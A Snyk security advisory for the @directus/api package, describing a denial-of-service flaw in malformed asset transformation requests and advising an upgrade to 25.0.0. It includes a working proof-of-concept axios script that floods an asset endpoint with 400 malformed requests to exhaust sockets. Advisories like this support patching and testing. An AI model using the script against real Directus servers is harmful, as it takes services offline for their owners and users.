Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade @directus/api
to version 25.0.0 or higher.
@directus/api is a real-time API and App dashboard for managing SQL database content
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the improper handling of malformed transformation requests in the asset management process. An attacker can cause a denial of service by sending multiple malformed requests, leading to the exhaustion of available sockets and resulting in all assets being served with a 403 error.
setup AWS S3 storage
set STORAGE_CLOUD_MAX_SOCKETS
: "50" (this value is lower than default for easier reproduction)
upload a file to your project
run this file (Replace the the file ID with the one you just uploaded):
import axios from "axios";
async function start() { Array.from({ length: 400 }, (_, i) => { axios .get( "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ" ) .then(() => console.log("✅")) .catch((e) => console.log("⛔", e.response?.status || e.code || e.message) ); }); }
start();